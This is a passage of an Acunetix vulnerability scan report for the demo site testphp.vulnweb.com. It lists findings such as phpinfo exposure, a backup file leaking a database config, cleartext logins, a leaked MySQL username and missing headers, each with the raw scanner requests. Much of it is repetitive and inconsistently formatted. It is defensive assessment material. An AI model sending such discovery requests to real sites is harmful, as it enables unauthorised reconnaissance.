</thead>
<tbody>
<tr>
<td>Pattern found:</td>
</tr>
<tr>
<td><code>&lt;title&gt;phpinfo()&lt;/title&gt;</code></td>
</tr>
</tbody>
</table>

GET `/secured/phpinfo.php` HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

### /index.bak

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Source code disclosure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Recommendations</th>
</tr>
</thead>
<tbody>
<tr>
<td>Remove this file from your website or change its permissions to remove access.</td>
</tr>
</tbody>
</table>

| Alert variants |
GET /index.bak HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

Alert group: Source code disclosure
Severity: Medium
Description: Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.
Recommendations: Remove this file from your website or change its permissions to remove access.
Alert variants:
```php
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wp265as');    // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change this
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

// Change each KEY to a different unique phrase. You won't have to change these,
// so make them long and complicated. You can visit http://api.wordpress.org
// to get keys generated for you, or just make something up. Each key starts
// with a different letter.
define('AUTH_KEY', 'put your unique phrase here'); // Change this to something unique
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to something unique
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to something unique

// You can have multiple installations in one database if you give each
$table_prefix = 'w ...
User credentials are sent in clear text

<table>
<thead>
<tr>
<th>Alert group</th>
<th>User credentials are sent in clear text</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).</td>
</tr>
<tr>
<td>Alert variants</td>
<td>Form name: loginform</td>
</tr>
<tr>
<td></td>
<td>Form action: userinfo.php</td>
</tr>
<tr>
<td></td>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

GET /pictures/wp-config.bak HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

<table>
<thead>
<tr>
<th>/signup.php</th>
<th>User credentials are sent in clear text</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Form name: form1</td>
</tr>
<tr>
<td></td>
<td>Form action: /secured/newuser.php</td>
</tr>
<tr>
<td></td>
<td>Form method: POST</td>
</tr>
</tbody>
</table>
GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/pictures/WS_FTP.LOG

<table>
<thead>
<tr>
<th>Alert group</th>
<th>WS_FTP log file found (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Remove this file from your website or change its permissions to remove access.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>103.05.06 13:17</td>
</tr>
</tbody>
</table>

GET /pictures/WS_FTP.LOG HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

Web Server

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Clickjacking: X-Frame-Options header missing</th>
</tr>
</thead>
</table>
Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

**Recommendations**

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

**Web Server**

**Alert group**

Cookie(s) without HttpOnly flag set (verified)

**Severity**

Low

**Description**

This cookie does not have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

**Recommendations**

If possible, you should set the HttpOnly flag for this cookie.

**Alert variants**

Set-Cookie: login=test%2Ftest
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
uname=test&pass=test

Web Server
Alert group Cookie(s) without Secure flag set (verified)
Severity Low
Description This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL/TLS channels. This is an important security protection for session cookies.
Recommendations If possible, you should set the Secure flag for this cookie.
Alert variants
Details Set-Cookie: login=test%2Ftest
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
uname=test&pass=test

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Hidden form input named price was found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Low</td>
</tr>
<tr>
<td>Description</td>
<td>A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check if the script inputs are properly validated.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Alert variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: f_addcart</td>
</tr>
<tr>
<td>Form action: cart.php</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form input:</td>
</tr>
<tr>
<td>• price [hidden]</td>
</tr>
</tbody>
</table>
**MySQL username disclosure**

**Severity**
Low

**Description**
For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account.

When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.

**Recommendations**
Make sure the MySQL connection can be established and configure PHP not to display error messages.

**Alert variants**

**Details**
Pattern found:

```
Access denied for user 'root'@'localhost' (using password: NO)
```
GET /Connections/DB_Connection.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/secure/database_connect.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>MySQL username disclosure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Low</td>
</tr>
<tr>
<td>Description</td>
<td>For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account. When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Make sure the MySQL connection can be established and configure PHP not to display error messages.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found: Access denied for user 'wauser'@'localhost' (using password: NO)</td>
</tr>
</tbody>
</table>

142
**Alert group** | **Possible sensitive files**
--- | ---
Severity | Low

**Description**
A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.

**Recommendations**
Restrict access to this file or remove it from the website.

**Alert variants**

**Details**
GET /hpp/test.php HTTP/1.1
Accept: acunetix/wvs
Cookie: login=test%2Ftest
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

---

**Web Server**

**Alert group** | **Possible virtual host found**
--- | ---
Severity | Low
Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

Recommendations

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

Alert variants

Virtual host: localhost
Response:

```html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body { 
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and is functioning properly. Further configuration is required.</p>
<p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.</p>
Commercial support is available at <a href=""/>
```
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Content Security Policy (CSP) can be implemented by adding a `Content-Security-Policy` header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://code.jquery.com;
```

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

**Recommendations**

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the `Content-Security-Policy` HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
GET / HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

### Web Server

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td><strong>Informational</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Check references for details on how to solve this problem.</td>
</tr>
</tbody>
</table>

#### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
<th>Pattern found:</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>

GET / HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
<table>
<thead>
<tr>
<th>Web Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
</tr>
<tr>
<td>Severity</td>
</tr>
<tr>
<td>Description</td>
</tr>
<tr>
<td>Recommendations</td>
</tr>
<tr>
<td>Alert variants</td>
</tr>
<tr>
<td>Details</td>
</tr>
</tbody>
</table>

wvs@acunetix.com

| GET / HTTP/1.0 |

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

| /404.php |
| Alert group | Email address found |
| Severity | Informational |
| Description | One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found. |
| Recommendations | Check references for details on how to solve this problem. |
| Alert variants |
| Details | Pattern found: |

wvs@acunetix.com
Alert group | Email address found
--- | ---
Informational | One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Recommendations | Check references for details on how to solve this problem.

Alert variants | 

Details | Pattern found: wvs@acunetix.com
GET /artists.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>/cart.php</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>Email address found</td>
</tr>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
Email address found

Severity: Informational

Description: One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Recommendations: Check references for details on how to solve this problem.

Alert variants

Details

Pattern found:

wvs@acunetix.com
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
### /guestbook.php

<table>
<thead>
<tr>
<th><strong>Alert group</strong></th>
<th><strong>Email address found</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td>Informational</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>Pattern found:</td>
</tr>
</tbody>
</table>

wvs@acunetix.com
Alert group | Email address found
----------|------------------
Severity  | Informational

Description
One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Recommendations
Check references for details on how to solve this problem.

Alert variants

Details
Pattern found:
wasp@acunetix.com
GET /index.bak HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```
Alert group  | Email address found
---          |-------------------
Severity     | Informational
Description  | One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations | Check references for details on how to solve this problem.
Alert variants
Details      | Pattern found:
             | wvs@acunetix.com
```
GET /index.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>/listproducts.php</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td></td>
</tr>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check references for details on how to solve this problem.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Alert variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>Details</td>
</tr>
<tr>
<td>Pattern found:</td>
</tr>
</tbody>
</table>
### Table

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td>Informational</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Check references for details on how to solve this problem.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td>Pattern found:</td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
**GET /product.php HTTP/1.1**

**Acunetix-Aspect:** enabled

**Acunetix-Aspect-Password:** 082119f75623eb7abd7bf357698ff66c

**Acunetix-Aspect-Queries:** aspectalerts

**Referer:** http://testphp.vulnweb.com/

**Cookie:** login=test%2Ftest

**Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

**Accept-Encoding:** gzip, deflate

**Host:** testphp.vulnweb.com

**User-Agent:** Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

**Connection:** Keep-alive

<table>
<thead>
<tr>
<th>/search.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td>Severity</td>
</tr>
<tr>
<td>Description</td>
</tr>
<tr>
<td>Recommendations</td>
</tr>
<tr>
<td>Alert variants</td>
</tr>
<tr>
<td>Details</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
### /signup.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
</tbody>
</table>

**Description**
One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

**Recommendations**
Check references for details on how to solve this problem.

**Alert variants**

<table>
<thead>
<tr>
<th>Details</th>
<th>Pattern found:</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
<td></td>
</tr>
</tbody>
</table>
GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/Templates/main_dynam ic_template.dwt.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Check references for details on how to solve this problem.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Alert variants</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pattern found:</td>
<td><a href="mailto:wvs@acunetix.com">wvs@acunetix.com</a></td>
</tr>
</tbody>
</table>
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Email address found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Informational</td>
</tr>
<tr>
<td>Description</td>
<td>One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like <a href="mailto:myname@mydomain.com">myname@mydomain.com</a> and then record any addresses found.</td>
</tr>
<tr>
<td>Recommendations</td>
